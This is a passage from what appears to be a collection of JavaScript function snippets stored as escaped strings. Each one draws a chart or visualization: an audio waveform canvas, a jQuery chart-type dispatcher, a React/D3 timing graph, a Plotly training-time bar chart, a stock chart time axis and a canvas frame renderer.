0.15)'); // set line color\r\n\t\t\tline.graphics.moveTo (25, 75 + (225 / 2)); // Place the line in some point of the canvas\r\n\r\n\t\t\tif (firstDraw)\r\n\t\t\t{\t\r\n\t\t\t\ttargetArray.fill(0);\r\n\t\t\t\tcontrolArray.fill(0);\r\n\r\n\t\t\t\tfirstDraw = false;\r\n\t\t\t}\r\n\r\n\t\t\tif (++Ncounter > 4)\r\n\t\t\t{\t\r\n\t\t\t\tfor (var i = 0; i < soundOne.dataArray.length; ++i)\r\n\t\t\t\t{\r\n\t\t\t\t\tcontrolArray[i] = (soundOne.dataArray[i] - targetArray[i]) / 5;\r\n\t\t\t\t}\r\n\r\n\t\t\t\tNcounter = 0;\r\n\t\t\t}\r\n\r\n\t\t\tfor (var i = 25; i < (890 + 25); i ++) // Draw ponint to point\r\n\t\t\t{\t\r\n\t\t\t\ttargetArray[i] += controlArray[i];\r\n\t\t\t\tvar nValue = ((targetArray[i] - 128) * 1.3);\r\n\t\t\t\tif (nValue > 113){nValue = 113;}\r\n\t\t\t\telse if(nValue < -111){nValue = -111}\r\n\r\n\t\t\t\tline.graphics.lineTo (i, ((225 / 2) + 75) + nValue);\r\n\t\t\t}\r\n\t\t\tstage.update();\t\r\n\t\t}\r\n\t}", "function drawChart(controlID, jsondata) {\n var MyChartType;\n\n var type = $(\"#\" + controlID).attr(\"data-Type\");\n\n var mySeriesString = $(\"#\" + controlID).attr(\"data-series\");\n var color = ColorSeriesArray[mySeriesString];\n if (color != undefined) {\n seriesColors = color;\n }\n var MainType = type.substr(0, 4);\n var SubType = \"\";\n if (type.length > 4)\n SubType = type.substr(4, 3);\n\n //console.log(\"MainType:\", MainType, \", Subtype:\", SubType);\n\n var TimeMode = \"\";\n // ================================================================================================\n\n \n\n // ================================================================================================\n switch (MainType) {\n case \"OFMP\":\n $('#' + controlID).find(\"select[id*=ddlfld]\").hide();\n\n if (strtYr == endYr) {\n // ok point in time show the graph types drop down\n $('#' + controlID).find(\"select[id*=ddlTypes]\").show();\n drawDrillDownPieColumnChartMP(jsondata, controlID, subControls, fldNames, fldValues, providerName, (strtYr - $jsonObj.MODELSTATUS.STARTYEAR), fldMINes, fldMAXes, fldLongunits);\n } else {\n $('#' + controlID).find(\"select[id*=ddlTypes]\").hide();\n switch (SubType) {\n case \"\":\n var CurrentProvider = providerName;\n CurrentProvider[\"doreg\"] = false;\n //drawAreaStackedChart(jsondata, controlID, subControls, fldNames, fldValues, providerName, strtYr, endYr, (strtYr - $jsonObj.MODELSTATUS.STARTYEAR), fldMINes, fldMAXes, fldLongunits);\n //QUAY EDIT 1 29 16\n // modified drawproviderschart to pass parsed json object\n //drawProvidersChart(jsondata, controlID, subControls, fldNames, fldValues, CurrentProvider, strtYr, endYr, (strtYr - $jsonObj.MODELSTATUS.STARTYEAR), fldMINes, fldMAXes, fldLongunits, seriesColors, ChartTypeAreaStacked);\n drawProvidersChart(jsondata, controlID, subControls, fldNames, fldValues, CurrentProvider, strtYr, endYr, (strtYr - jsondata.MODELSTATUS.STARTYEAR), fldMINes, fldMAXes, fldLongunits, seriesColors, ChartTypeAreaStacked);\n break;\n case \"L\":\n //drawLineChartMP(jsondata, controlID, subControls, fldNames, fldValues, providerName, strtYr, endYr, (strtYr - $jsonObj.MODELSTATUS.STARTYEAR), fldMINes, fldMAXes, fldLongunits);\n drawProvidersChart(jsondata, controlID, subControls, fldNames, fldValues, BaseProviders, strtYr, endYr, (strtYr - $jsonObj.MODELSTATUS.STARTYEAR), fldMINes, fldMAXes, fldLongunits, seriesColors, ChartTypeLine);\n break;\n case \"R\":\n var CurrentProvider = providerName;\n //var pcode = $(\"#\" + controlID).find(\"select[id*=ddlfld]\").find(\"option:selected\").val();\n //CurrentProvider[pcode] = providerName[pcode];\n CurrentProvider[\"doreg\"] = true;\n\n //drawLineChartMP(jsondata, controlID, subControls, fldNames, fldValues, providerName, strtYr, endYr, (strtYr - $jsonObj.MODELSTATUS.STARTYEAR), fldMINes, fldMAXes, fldLongunits);\n drawProvidersChart(jsondata, controlID, subControls, fldNames, fldValues, CurrentProvider, strtYr, endYr, (strtYr - $jsonObj.MODELSTATUS.STARTYEAR), fldMINes, fldMAXes, fldLongunits, seriesColors, ChartTypeLine);\n break;\n\n }\n }\n break;\n case \"MFOP\":\n // Add providers to drop down\n if ($(\"#\" + controlID).find(\"select[id*=ddlfld]\").find(\"option\").length == 0) {\n //STEPTOE EDIT BEGIN 11/08/15\n //$('input[name=\"geography\"]').each(function () {\n // $(\"#\" + controlID).find(\"select[id*=ddlfld]\").append(new Option($(this).next('label').html(), this.value));\n //});\n\n //Get available providers from Chosen Selector instead of geography control\n var selectedProviders = $('.chosen-select').val();\n for (var i in selectedProviders)\n $(\"#\" + controlID).find(\"select[id*=ddlfld]\").append(new Option(providerInfo[selectedProviders[i]], selectedProviders[i]));\n //STEPTOE EDIT END 11/08/15\n }\n if (strtYr == endYr) {\n // ok point in time show the graph types drop down\n $('#' + controlID).find(\"select[id*=ddlTypes]\").show();\n // multi fields so show the provider drop down\n $('#' + controlID).find(\"select[id*=ddlfld]\").show();\n drawDrillDownPieColumnChartMF(jsondata, controlID, subControls, fldNames, fldValues, providerName, (strtYr - $jsonObj.MODELSTATUS.STARTYEAR), fldMINes, fldMAXes, fldLongunits);\n } else {\n // range so hyde the chart types\n $('#' + controlID).find(\"select[id*=ddlTypes]\").hide();\n // this is going to use the provider drop down, so get the cuurent provider code in the drop down and use this\n var CurrentProvider = {};\n var pcode = $(\"#\" + controlID).find(\"select[id*=ddlfld]\").find(\"option:selected\").val();\n CurrentProvider[pcode] = providerName[pcode];\n CurrentProvider[\"doreg\"] = true;\n // ok make standard provider chart call with only one provider code and ChartTypeColumnStacked\n drawProvidersChart(jsondata, controlID, subControls, fldNames, fldValues, CurrentProvider, strtYr, endYr, (strtYr - $jsonObj.MODELSTATUS.STARTYEAR), fldMINes, fldMAXes, fldLongunits, seriesColors, ChartTypeColumnStacked);\n //drawColumnStackedChart(jsondata, controlID, subControls, fldNames, fldValues, strtYr, endYr, (strtYr - $jsonObj.MODELSTATUS.STARTYEAR), fldMINes, fldMAXes, fldLongunits);\n };\n break;\n case \"OFOP\":\n // only one provider so hide the provider drop down\n $('#' + controlID).find(\"select[id*=ddlfld]\").hide();\n if (strtYr == endYr) {\n // ok point in time show the graph types drop down\n $('#' + controlID).find(\"select[id*=ddlTypes]\").show();\n drawDrillDownSingleColumnChart(jsondata, controlID, subControls, fldNames, fldValues, (strtYr - $jsonObj.MODELSTATUS.STARTYEAR));\n } else {\n // ok a range show hide the graph type\n $('#' + controlID).find(\"select[id*=ddlTypes]\").hide();\n drawDrillDownLineChartTEMP(jsondata, controlID, subControls, fldNames, fldValues, providerName, strtYr, endYr, (strtYr - $jsonObj.MODELSTATUS.STARTYEAR));\n };\n break;\n case \"BASE\":\n $('#' + controlID).find(\"select[id*=ddlTypes]\").hide();\n $('#' + controlID).find(\"select[id*=ddlfld]\").hide();\n if (strtYr == endYr) {\n switch (SubType) {\n case \"L\", \"A\":\n MyChartType = ChartTypeColumn;\n break;\n case \"SL\", \"SA\":\n MyChartType = ChartTypeColumnStacked;\n break;\n }\n } else {\n switch (SubType) {\n case \"L\":\n MyChartType = ChartTypeLine;\n break;\n case \"LS\":\n MyChartType = ChartTypeLineStacked;\n break;\n case \"A\":\n MyChartType = ChartTypeArea;\n break;\n case \"SA\":\n MyChartType = ChartTypeAreaStacked;\n break;\n case \"AL\":\n MyChartType = ChartTypeAreaLine;\n break;\n\n }\n }\n\n drawDrillDownChartBO(jsondata, controlID, subControls, fldNames, fldValues, strtYr, endYr, (strtYr - jsondata.MODELSTATUS.STARTYEAR), fldMINes, fldMAXes, fldLongunits, seriesColors, MyChartType);\n break;\n\n case \"WSAP\":\n $('#' + controlID).find(\"select[id*=ddlTypes]\").hide();\n $('#' + controlID).find(\"select[id*=ddlfld]\").hide();\n var index = endYr- strtYr;\n switch (SubType) {\n case \"M\":\n drawMultiPieChart(jsondata, controlID, subControls, fldNames, fldValues, providerName,index, fldMINes, fldMAXes, fldLongunits);\n break;\n case \"S\":\n drawPieChart(jsondata, controlID, subControls, fldNames, fldValues, providerName, 1, fldMINes, fldMAXes, fldLongunits);\n break;\n\n case \"P\":\n drawPieChart(jsondata, controlID, subControls, fldNames, fldValues, providerName, endYr - strtYr, fldMINes, fldMAXes, fldLongunits);\n break;\n }\n break;\n case \"WSAS\":\n $('#' + controlID).find(\"select[id*=ddlTypes]\").hide();\n $('#' + controlID).find(\"select[id*=ddlfld]\").hide();\n var index = 1;\n switch (SubType) {\n\n case \"R\":\n Name = \"Resources\";\n drawSimpleStackedColumnChart(jsondata, controlID, subControls, fldNames, fldValues, Name, endYr - strtYr, fldMINes, fldMAXes, fldLongunits);\n break;\n case \"C\":\n Name = \"Consumers\";\n drawSimpleStackedColumnChart(jsondata, controlID, subControls, fldNames, fldValues, Name, endYr - strtYr, fldMINes, fldMAXes, fldLongunits);\n break;\n case \"F\":\n //DrawCorFlow(jsondata);\n //var TheFluxList = new FluxDataList();\n //console.log(TheFluxList)\n //console.log('Need to fix drawComplexStackedColumnChart');\n drawComplexStackedColumnChart(jsondata, controlID, subControls, TheFluxList);\n break;\n case \"K\":\n $('#' + controlID).find(\"select[id*=ddlTypes]\").hide();\n $('#' + controlID).find(\"select[id*=ddlfld]\").hide();\n //\n //console.log(\"WSASK\")\n //console.log(TheFluxList)\n //console.log('Need to fix drawMySankey');\n drawMySankey(TheFluxList, jsondata, controlID);\n //\n break;\n case \"L\":\n drawSimpleLineChart(jsondata, controlID, subControls, fldNames, fldValues, Name, strtYr, endYr, (strtYr - jsondata.MODELSTATUS.STARTYEAR), fldMINes, fldMAXes, fldLongunits);\n break;\n }\n break;\n }\n\n}", "function TimeViz(props) {\n let timeData = props.timeData;\n let selectedQueries = props.selectedQueries;\n console.log(\"time data\", props.timeData);\n console.log(props.selectedQueries);\n let timing = {}; //this will be a {\"querr\": [array of all responsetimes]}\n let timeStamps = []; //this will be an array of timestamp strings\n\n for (let quer in timeData) {\n timing[quer] = [];\n timeData[quer].forEach(response => {\n timeStamps.push(response.timestamp);\n timing[quer].push((response.timing[0] + response.timing[1] / 1000000000))\n });\n timing[quer].shift()\n }\n\n\n console.log(\"values\", timing)\n console.log(\"x-axis\", timeStamps)\n console.log(\"digging for data\", timing[selectedQueries[0]])\n\n // const [data, setData] = useState();\n let data;\n if (timing[selectedQueries[0]]) {\n data = timing[selectedQueries[0]];\n }\n else {\n data = [.10, .10, .10, .10, .10, .10, .10];\n }\n\n\n let lengthy = data;\n // const [time, setTime] = useState([{ name: \"Query 1\", labelOffset: 60, value: function (t) { return d3.10l(t, 1, 0.5); } },\n // ]);\n const svgRef = useRef();\n /*The most basic SVG file contains the following format:\n --Size of the viewport (Think of this as the image resolution)\n --Grouping instructions via the element -- How should elements be grouped?\n --Drawing instructions using the shapes elements\n --Style specifications describing how each element should be drawn.*/\n // will be called initially and on every data change\n\n useEffect(() => {\n\n if (timing[selectedQueries[0]]) {\n\n }\n\n let max = Math.max(...data)\n let upperLine = 1.5 * max;\n\n\n const svg = select(svgRef.current);\n\n //range in the scales control how long the axis line is on the graph\n const xScale = scaleLinear().domain([0, lengthy.length - 1]).range([0, 750]);\n const yScale = scaleLinear()\n //domain is the complete set of values and the range is the set of resulting values of a function\n .domain([0, `${upperLine}`])\n .range([300, 0]);\n // let z = schemeCategory10();\n //calling the xAxis function with current selection\n const xAxis = axisBottom(xScale).ticks(lengthy.length).tickFormat(index => Math.floor(index + 1));\n svg.select('.x-axis').style('transform', \"translateY(300px)\").style(\"filter\", \"url(#glow)\").call(xAxis)\n //ticks are each value in the line\n const yAxis = axisRight(yScale).ticks(20).tickFormat(index => Math.round((index + 0.01) * 1000) / 1000);\n svg.select(\".y-axis\").style(\"transform\", \"translateX(750px)\").style(\"filter\", \"url(#glow)\").call(yAxis);\n //initialize a line to the value of line \n //x line is rendering xscale and y is rendering yscale\n const newLine = line().x((value, index) => xScale(index)).y(yScale).curve(curveCardinal);\n //select all the line elements you find in the svg and synchronize with data provided\n //wrap data in another array so d3 doesn't generate a new path element for every element in data array\n //join creates a new path element for every new piece of data\n //class line is to new updating path elements\n //Container for the gradients\n let defs = svg.append(\"defs\");\n\n //Filter for the outside glow\n let filter = defs.append(\"filter\")\n .attr(\"id\", \"glow\");\n filter.append(\"feGaussianBlur\")\n .attr(\"stdDeviation\", \"3.5\")\n .attr(\"result\", \"coloredBlur\");\n let feMerge = filter.append(\"feMerge\");\n feMerge.append(\"feMergeNode\")\n .attr(\"in\", \"coloredBlur\");\n feMerge.append(\"feMergeNode\")\n .attr(\"in\", \"SourceGraphic\");\n\n let g = svg\n .selectAll(\".line\")\n .data([lengthy])\n .join(\"path\")\n .attr(\"class\", \"line\")\n .attr(\"d\", newLine)\n .attr(\"fill\", \"none\")\n .attr(\"stroke\", \"rgb(6, 75, 115)\")\n .style(\"filter\", \"url(#glow)\");\n //adding label to each line -- coming back here\n // g.append(\"text\")\n // .attr(\"x\", () => setTime(time.map(d => d.labelOffset)) ;\n // })\n // .attr(\"dy\", -5)\n // .style(\"fill\", function (d, i) { return lab(z(i)).darker(); })\n // .append(\"textPath\")\n // .text(function (d) { return d.name; });\n },\n //rerender data here\n [lengthy]);\n return (\n <React.Fragment>\n <svg ref={svgRef}>\n <g className=\"x-axis\" />\n <g className=\"y-axis\" /></svg>\n <br />\n <button onClick={() => setData(data.map(value => value + 5))}>\n Update Data </button>\n </React.Fragment >\n )\n}", "function plot_time_per_epoch_in_div(canvas_id, esb_type, esb_size) {\n var net_arch = inputObject.network_archeticture;\n var dataset = inputObject.dataset;\n\n // Get the index of columns we are going to display\n var indexes = get_indexes();\n\n var types = [];\n if (inputObject.horizontal.length > 0) {\n types.push(\"horizontal\");\n }\n if (inputObject.vertical.length) {\n types.push(\"vertical\");\n }\n\n // Plot\n t = [net_arch, dataset, esb_type, esb_size];\n json_filename = 'data/time_per_epoch_barchart/' + t.join('_') + '.json';\n var ret = readTextFile(json_filename);\n var json = JSON.parse(ret);\n var x_values = json.x_values;\n var sgl_train_time = json.sgl_train_time;\n var sgl_data_time = json.sgl_data_time;\n var esb_train_time = json.esb_train_time;\n var esb_data_time = json.esb_data_time;\n\n var x_values_t = [];\n for (let i of indexes) {\n x_values_t.push(x_values[i]);\n }\n var sgl_train_time_t = [];\n for (let i of indexes) {\n // sgl_train_time_t.push(-sgl_train_time[i]);\n sgl_train_time_t.push(sgl_train_time[i]);\n }\n var sgl_data_time_t = [];\n for (let i of indexes) {\n // sgl_data_time_t.push(-sgl_data_time[i]);\n sgl_data_time_t.push(sgl_data_time[i]);\n }\n var esb_data_time_t = [];\n for (let i of indexes) {\n esb_data_time_t.push(esb_data_time[i]);\n }\n var esb_train_time_t = [];\n var new_line;\n for (let line of esb_train_time) {\n new_line = [];\n for (let i of indexes) {\n new_line.push(line[i]);\n }\n esb_train_time_t.push(new_line);\n }\n\n var data = [];\n // training time of single network\n var trace1 = {\n x: x_values_t,\n y: sgl_train_time_t,\n name: 'single<br>network<br>training',\n type: 'bar',\n opacity: 0.5,\n marker: {\n color: 'rgb(254,224,210)',\n line: {\n width: 1.5\n }\n },\n };\n // data loading of single network\n var trace2 = {\n x: x_values_t,\n y: sgl_data_time_t,\n name: 'data<br>loading',\n type: 'bar',\n opacity: 0.5,\n marker: {\n color: 'rgb(252,146,114)',\n line: {\n width: 1.5\n }\n },\n };\n data.push(trace2, trace1);\n\n // Color dic for ensemble chart\n console.log(esb_size);\n var color_dic;\n if (esb_size == 4){\n color_dic = color_dic_esb_4;\n } else if (esb_size == 6){\n color_dic = color_dic_esb_6;\n } else if (esb_size == 8){\n color_dic = color_dic_esb_8;\n }\n console.log('color dic: ', color_dic);\n\n var trace;\n // data loading time of ensemble network\n trace = {\n x: x_values_t,\n y: esb_data_time_t,\n name: 'data<br>loading',\n type: 'bar',\n opacity: 0.5,\n marker: {\n color: color_dic[0],\n line: {\n width: 1.5\n }\n },\n xaxis: 'x2',\n yaxis: 'y2',\n };\n data.push(trace);\n\n // training time of each subnet of ensemble\n for (var i = 0; i < esb_size; i++) {\n trace = {\n x: x_values_t,\n y: esb_train_time_t[i],\n name: 'network ' + i + '<br>training',\n type: 'bar',\n opacity: 0.5,\n marker: {\n color: color_dic[i+1],\n line: {\n width: 1.5\n }\n },\n xaxis: 'x2',\n yaxis: 'y2',\n };\n data.push(trace);\n }\n var layout = {\n title: 'Comparing Time Per Epoch',\n barmode: 'stack',\n // barmode: 'relative',\n xaxis: {\n title: 'Width factor|Depth|Parameters (M)',\n type: 'category',\n tickangle: 45,\n automargin: true,\n },\n yaxis: {\n title: 'Time (s)',\n domain: [0, 0.48],\n },\n\n xaxis2: {\n visible: false,\n anchor: 'y2',\n },\n yaxis2: {\n domain: [0.52, 1],\n }\n };\n Plotly.newPlot(canvas_id, data, layout);\n}", "function drawTimeAxis(can)\n {\n ctx.fillStyle = 'black';\n\n var dinf = getTimeAxisDispInfo(lv, tw);\n var useUnit = dinf.useUnit;\n var useStep = dinf.useStep;\n var rw = getRefWidth(useUnit);\n\n var prev;\n var currX = 1 + sw + Math.floor(kw/2);\n var i;\n for (i = beginIdx; i < endIdx; ++i) {\n var kline = klines[i];\n var fmt = formatTimeText(kline['ktime'], useUnit);\n var mw = getNormalTextWidth(ctx, fmt.fmttxt);\n var hmw = mw/2;\n if (prev==undefined) {\n if (currX-hmw > 6 && isAlignMeet(useStep, fmt.r)) {\n prev = drawFmt(ctx, fmt, currX);\n }\n } else {\n var dinf = getDistanceInfoByFmt(fmt, prev.fmt);\n if (useUnit==\"hm\") {\n if (isDistanceAsStep(dinf, useStep) && currX + hmw < 1 + dwidth) {\n if (dinf.diffYear) {\n fmt = formatTimeText(kline['ktime'], \"year\");\n prev = drawJumpFmt(ctx, fmt, currX);\n } else if (dinf.diffMonth) {\n fmt = formatTimeText(kline['ktime'], \"month\");\n prev = drawJumpFmt(ctx, fmt, currX);\n } else if (dinf.diffDay) {\n fmt = formatTimeText(kline['ktime'], \"day\");\n prev = drawJumpFmt(ctx, fmt, currX);\n } else {\n prev = drawFmt(ctx, fmt, currX);\n }\n }\n } else {\n if (currX - hmw - prev.endX > rw && currX + hmw < 1 + dwidth) {\n if (dinf.diffYear && isUseUnitLt(useUnit, \"year\")) {\n fmt = formatTimeText(kline['ktime'], \"year\");\n mw = getJumpTextWidth(ctx, fmt.fmttxt);\n hmw = mw/2;\n if (currX - hmw - prev.endX > getRefWidth(\"year\") && currX + hmw < 1 + dwidth) {\n prev = drawJumpFmt(ctx, fmt, currX);\n }\n } else if (dinf.diffMonth && isUseUnitLt(useUnit, \"month\")) {\n fmt = formatTimeText(kline['ktime'], \"month\");\n mw = getJumpTextWidth(ctx, fmt.fmttxt);\n hmw = mw/2;\n if (currX - hmw - prev.endX > getRefWidth(\"month\") && currX + hmw < 1 + dwidth) {\n prev = drawJumpFmt(ctx, fmt, currX);\n }\n } else if (dinf.diffDay && isUseUnitLt(useUnit, \"day\")) {\n fmt = formatTimeText(kline['ktime'], \"day\");\n mw = getJumpTextWidth(ctx, fmt.fmttxt);\n hmw = mw/2;\n if (currX - hmw - prev.endX > getRefWidth(\"day\") && currX + hmw < 1 + dwidth) {\n prev = drawJumpFmt(ctx, fmt, currX);\n }\n } else {\n if (fmt.fmttxt != prev.text) {\n prev = drawFmt(ctx, fmt, currX);\n }\n }\n }\n }\n }\n currX += tw;\n }\n \n //--------------------------\n function drawFmt(ctx, fmt, currX) {\n //console.log(\"drawFmt\");\n return innerDrawFmt(ctx, 'black', getNormalTextFontStr(), fmt, currX);\n }\n \n function drawJumpFmt(ctx, fmt, currX) {\n return innerDrawFmt(ctx, '#004cff', getJumpTextFontStr(), fmt, currX);\n }\n \n function innerDrawFmt(ctx, color, fontstr, fmt, currX) {\n ctx.strokeStyle = color;\n ctx.lineWidth=1;\n ctx.fillStyle = color;\n ctx.font = fontstr;\n var prev = {};\n var timeText = fmt.fmttxt;\n var mtinterface = ctx.measureText(timeText);//mt for measure text\n var mw = mtinterface.width;\n var hmw = mw/2;\n //var chh = stockplayer.chart.height;\n var chh = holderChart.height;\n ctx.fillText(timeText, currX-hmw, chh-5);\n prev.endX = currX + hmw;\n prev.text = timeText;\n prev.fmt = fmt;\n return prev;\n }\n \n function getNormalTextWidth(ctx, text) {\n return getTextWidth(ctx, getNormalTextFontStr(), text);\n }\n \n function getJumpTextWidth(ctx, text) {\n return getTextWidth(ctx, getJumpTextFontStr(), text);\n }\n \n function getNormalTextFontStr() {\n return \"12px Arial\";\n }\n \n function getJumpTextFontStr() {\n return \"Bold 12px Arial\";\n }\n \n function getTextWidth(ctx, fontstr, text) {\n var refont = ctx.font;\n ctx.font = fontstr;\n var mtinterface = ctx.measureText(text);//mt for measure text\n var mw = mtinterface.width;\n ctx.font = refont;\n return mw;\n }\n \n function getRefWidth(useUnit) {\n return 1.5 * getTypicalWidth(useUnit);\n }\n \n //sg for 'so called greater'...\n function isUseUnitLt(useUnit, sgUnit) {\n if (sgUnit == \"year\" && (useUnit == \"month\" || useUnit == \"day\" || useUnit == \"hm\")) {\n return true;\n } else if (sgUnit == \"month\" && (useUnit == \"day\" || useUnit == \"hm\")) {\n return true;\n } else if (sgUnit == \"day\" && (useUnit == \"hm\")) {\n return true\n }\n return false;\n }\n \n function getDistanceInfoByFmt(fmt, prevFmt) {\n //首先,这里假定一定满足fmt比prevFmt是更迟的时间\n var r1 = fmt.r;\n var r2 = prevFmt.r;\n var dmin = Number(r1[5]) - Number(r2[5]);\n var dh = Number(r1[4]) - Number(r2[4]);\n var diffYear = false;\n var diffMonth = false;\n var diffDay = false;\n if (r1[1]!=r2[1]) {\n diffYear = true;\n }\n if (r1[2]!=r2[2]) {\n diffMonth = true;\n }\n if (r1[3]!=r2[3]) {\n diffDay = true;\n }\n var dtm;//distance of total minute, at most 60 to make sence\n /** 当然,实际上可以返回大于60。就一天来说,最大的可能是240\n *** 对于不是同一天的情况,自动地认为后面的交易日是紧接在前面\n *** 的交易日后面的那天。\n **/\n if (!diffYear && !diffMonth && !diffDay) {\n dtm = dh*60+dmin;\n //正常情况下,出现这种情况只能是因为下午减上午,所以要减掉中午的90分钟\n if (dtm >= 90) {\n dtm -= 90;\n }\n } else {\n //把次一交易日的9:30做成「同前一交易日的15:00相当」来减\n dh+=5;\n dmin+=30;\n dtm = dh*60+dmin;\n if (dtm >= 90) {\n dtm -= 90;\n }\n }\n //显然,对于不是同一天的情况,dtm将是undefined\n return {\"dtm\":dtm, \"diffYear\":diffYear, \"diffMonth\":diffMonth, \"diffDay\":diffDay};\n }\n \n function isDistanceAsStep(dinf, useStep) {\n //console.log(\"isDistanceAsStep, \");\n if (useStep == \"5m\") {\n return (dinf.dtm == 5);\n } else if (useStep == \"10m\") {\n return (dinf.dtm == 10);\n } else if (useStep == \"30m\") {\n return (dinf.dtm == 30);\n } else if (useStep == \"1h\") {\n return (dinf.dtm == 60);\n }\n return false;\n }\n \n function isAlignMeet(useStep, r) {\n var nmin = Number(r[5]);\n if (useStep == \"5m\") {\n return (nmin % 5 == 0);\n } else if (useStep == \"10m\") {\n return (nmin % 10 == 0);\n } else if (useStep == \"30m\") {\n return (nmin % 30 == 0);\n } else if (useStep == \"1h\") {\n return (nmin == 0);\n }\n return true;\n }\n \n function getTypicalWidth(useUnit) {\n //var can = $('#can')[0];\n //var ctx = can.getContext('2d');\n var ts = getTypicalString(useUnit);\n return ctx.measureText(ts).width;\n }\n \n function getTypicalString(useUnit) {\n if (useUnit == \"hm\") {\n return \"10:30\";\n } else if (useUnit == \"day\") {\n return \"15\";\n } else if (useUnit == \"month\") {\n return \"Oct\";\n } else if (useUnit == \"year\") {\n return \"2005\";\n }\n return \"12345\";\n }\n \n function formatTimeText(fullText, useUnit) {\n // 2012-01-10 15:00:00\n var reg = new RegExp(\"^(\\\\d+)-(\\\\d+)-(\\\\d+) (\\\\d+):(\\\\d+):(\\\\d+)$\");\n r = fullText.match(reg);\n var fmttxt;\n if(r==null) {\n holderChart.alert(\"Error: formatTimeText(fullText, useUnit) can't match!!\");\n fmttxt = \"error!!\";\n return {\"fmttxt\":fmttxt, \"r\":r};\n }\n if (useUnit==\"hm\") {\n fmttxt = r[4] + \":\" + r[5];\n } else if (useUnit==\"day\") {\n fmttxt = r[3];\n } else if (useUnit==\"month\") {\n fmttxt = formatMonthString(r[2]);\n } else if (useUnit==\"year\") {\n fmttxt = r[1];\n }\n return {\"fmttxt\":fmttxt, \"r\":r};\n }\n \n function formatMonthString(numtxt) {\n var m = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'];\n var n = Number(numtxt);\n return m[n-1];\n }\n \n function getTimeAxisDispInfo(lv, tw) {\n //console.log(\"getTimeAxisDispInfo, lv=\"+lv+\", tw=\"+tw);\n \n var useUnit = \"hm\";\n var useStep = \"5m\";\n \n if (lv == \"1m\") {\n if (tw*5 > 55) {\n useUnit = \"hm\";\n useStep = \"5m\";\n } else if (tw*5 > 25) {\n useUnit = \"hm\";\n useStep = \"10m\";\n } else if (tw*5 > 5) {\n useUnit = \"hm\";\n useStep = \"30m\";\n } else {\n useUnit = \"hm\";\n useStep = \"30m\";\n }\n } else if (lv == \"5m\") {\n if (tw*5 > 50) {\n useUnit = \"hm\";\n useStep = \"30m\";\n } else if (tw*5 > 25) {\n useUnit = \"hm\";\n useStep = \"1h\";\n } else if (tw*5 > 5) {\n useUnit = \"day\";\n useStep = \"days\";\n } else {\n useUnit = \"day\";\n useStep = \"days\";\n }\n } else if (lv == \"30m\") {\n if (tw*5 > 55) {\n useUnit = \"day\";\n useStep = \"days\";\n } else if (tw*5 > 25) {\n useUnit = \"day\";\n useStep = \"days\";\n } else if (tw*5 > 5) {\n useUnit = \"day\";\n useStep = \"days\";\n } else {\n useUnit = \"day\";\n useStep = \"days\";\n }\n } else if (lv == \"d\") {\n if (tw*5 > 55) {\n useUnit = \"month\";\n useStep = \"months\";\n } else if (tw*5 > 25) {\n useUnit = \"month\";\n useStep = \"months\";\n } else if (tw*5 > 5) {\n useUnit = \"month\";\n useStep = \"months\";\n } else {\n useUnit = \"month\";\n useStep = \"months\";\n }\n } else if (lv == \"w\") {\n if (tw*5 > 55) {\n useUnit = \"month\";\n useStep = \"months\";\n } else if (tw*5 > 25) {\n useUnit = \"month\";\n useStep = \"months\";\n } else if (tw*5 > 5) {\n useUnit = \"year\";\n useStep = \"years\";\n } else {\n useUnit = \"year\";\n useStep = \"years\";\n }\n } else if (lv == \"month\") {\n if (tw*5 > 55) {\n useUnit = \"year\";\n useStep = \"years\";\n } else if (tw*5 > 25) {\n useUnit = \"year\";\n useStep = \"years\";\n } else if (tw*5 > 5) {\n useUnit = \"year\";\n useStep = \"years\";\n } else {\n useUnit = \"year\";\n useStep = \"years\";\n }\n } else {\n useUnit = \"year\";\n useStep = \"5y\";\n }\n \n var retObj = {\"useUnit\":useUnit, \"useStep\":useStep};\n //console.log(\"returning: \" + JSON.stringify(retObj));\n return retObj;\n }\n }", "drawFrame(lineStyle, title, frame, fillStyle) { //hor: # of hor lines; ver: # of ver lines.\n /*Relative value for diff resolution*/\n let ver = lineStyle[1];\n /*Draw frame*/\n this.chart.fillStyle = fillStyle;\n this.chart.fillRect(this.space, this.space, this.len, this.hei);\n this.chart.fill();\n if (frame[0] == \"frame\"){\n this.chart.clearRect(this.space+frame[1],this.space+frame[1],this.len-frame[1]*2,this.hei-frame[1]*2);\n }else if(frame[0] == \"none\"){\n this.chart.clearRect(0, 0, this.ctx.width, this.ctx.height);\n }else{\n this.chart.clearRect(this.space + frame[1], this.space, this.len, this.hei - frame[1]);\n }\n\n /*Draw Ver line*/\n this.chart.strokeStyle = lineStyle[3];\n this.chart.lineWidth = 1;\n this.chart.beginPath();\n for(let i = 1; i < ver; i++){\n this.chart.moveTo(i * this.len/ver + this.space - 1, this.space + frame[1] + 26);\n this.chart.lineTo(i * this.len/ver + this.space - 1, this.space - frame[1] + this.hei);\n }\n this.chart.stroke();\n\n /*Draw Hor line & label*/\n var chartTop = this.findTop(this.max);\n var chartBom = (this.min > 0)? 0: this.min;\n var grids = lineStyle[0];//default value\n\n this.chart.font = \"10px Calibri\";\n this.chart.fillStyle =\"#373838\";\n this.chart.strokeStyle = lineStyle[2];\n this.chart.lineWidth = 1;\n this.chart.beginPath();\n\n for(let i = 0; i <= grids; i++){\n var txt = ( ((chartTop-chartBom)/ grids + chartBom) % 1 === 0)? i*((chartTop-chartBom)/ grids)+chartBom : (i*((chartTop-chartBom)/ grids)+chartBom).toFixed(2);\n this.chart.fillText(txt, this.space-25, this.hei+this.space - i*(this.hei-30)/grids - frame[1] + 2);\n if(lineStyle[4] && i>0){\n this.chart.moveTo(this.space+frame[1],Math.round(this.hei+this.space - i*(this.hei-30)/grids - frame[1]));\n this.chart.lineTo(this.space-frame[1]+this.len,Math.round(this.hei+this.space - i*(this.hei-30)/grids - frame[1]));\n }\n }\n this.chart.stroke();\n\n // draw chart title\n var fp = (isNaN(parseInt(this.dataSet.title[1])))?6:Math.round(parseInt(this.dataSet.title[1]) *0.3);//default font size is 20px\n var titleX = Math.round(this.ctx.width/2) - this.dataSet.title[0].length * fp;\n this.chart.fillStyle = fillStyle;\n this.chart.font = this.dataSet.title[1];\n this.chart.fillText(this.dataSet.title[0], titleX, this.space+22);\n this.chart.fill;\n\n // draw vertical label, rotate needed\n this.chart.rotate(270 * Math.PI / 180);\n this.chart.font = \"18px Calibri\";\n\n // default font size is \"18px Calibri\", make sure label is print in the middle\n this.chart.fillText(this.dataSet.dataLabel[0],-1 * Math.floor((this.hei + 